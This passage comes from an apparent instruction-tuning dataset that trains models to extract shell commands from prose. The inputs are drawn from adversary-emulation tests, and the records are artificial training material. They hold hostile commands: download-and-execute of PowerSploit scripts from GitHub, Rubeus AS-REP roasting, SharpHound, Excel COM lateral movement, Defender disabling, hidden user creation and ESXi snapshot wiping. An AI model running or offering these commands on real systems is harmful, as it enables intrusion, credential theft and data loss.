[\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique loads shellcode to memory via UuidFromStringA and executes it with EnumSystemLocalesA, avoiding detection by using the following command: $PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug; For remote process shellcode execution, the procedure includes obtaining a handle and allocating memory, followed by executing this command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug", "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\UuidFromStringA.exe -debug\\n\", \"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RtlCreateUserThread.exe -pid $process.Id -debug\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For lateral movement using PowerShell and Excel COM objects, which will spawn calc.exe on the target machine, run: copy c:\\windows\\system32\\calc.exe 'C:\\users\\#{user}\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"Excel.Application\",\"#{computer_name}\"))\n$com.ActivateMicrosoftApp(\"5\"); For creating a hidden macOS user with a UniqueID that makes it invisible by default, run the command: sudo dscl . -create /Users/#{user_name} UniqueID 333", "output": "{\"command_list\": [\"copy c:\\\\windows\\\\system32\\\\calc.exe 'C:\\\\users\\\\#{user}\\\\AppData\\\\local\\\\Microsoft\\\\WindowsApps\\\\foxprow.exe'\\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\\\"Excel.Application\\\",\\\"#{computer_name}\\\"))\\n$com.ActivateMicrosoftApp(\\\"5\\\")\\n\", \"sudo dscl . -create /Users/#{user_name} UniqueID 333\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This Atomic test creates and subsequently deletes a Google Storage Bucket, using the following command sequence: gcloud config set project #{project_id}\ngcloud storage buckets delete gs://#{bucket_name}; All snapshots for Virtual Machines on an ESXi Host can be removed by executing this command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done\"", "output": "{\"command_list\": [\"gcloud config set project #{project_id}\\ngcloud storage buckets delete gs://#{bucket_name}\\n\", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For information on Rubeus and its creators, visit: https://github.com/GhostPack/Rubeus#asreproast. Note that this build targets .NET 4.5, so compilation will be required for other versions. Run the tool with this command: cmd.exe /c \"#{local_folder}\\#{local_executable}\" asreproast /outfile:\"#{local_folder}\\#{out_file}\"\n; For domain user enumeration with PowerView, use the following command which will output scanning progress and user information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose", "output": "{\"command_list\": [\"cmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" asreproast /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can prevent the Windows Lock Workstation functionality by using reg.exe with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f; To hide all desktop icons for the current user through Group Policy, use the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a system restart to become effective.", "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoDesktop /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable scheduled scanning and other components of Windows Defender ATP, use the following command, which will make Virus and Threat Protection appear disabled in Windows settings: Set-MpPreference -drtm $True\nSet-MpPreference -dbm $True\nSet-MpPreference -dscrptsc $True\nSet-MpPreference -dbaf $True\n; To disable the Privacy Settings Experience in LockBit Black, use the following registry command: reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f", "output": "{\"command_list\": [\"Set-MpPreference -drtm $True\\nSet-MpPreference -dbm $True\\nSet-MpPreference -dscrptsc $True\\nSet-MpPreference -dbaf $True\\n\", \"reg add \\\"HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n By executing this registry modification, your service will be loaded in Safe Mode with networking: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"; To disable Windows toast notifications for the current user, you can modify the registry by running the following command in the cmd console: reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f", "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Network\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\", \"reg add HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory 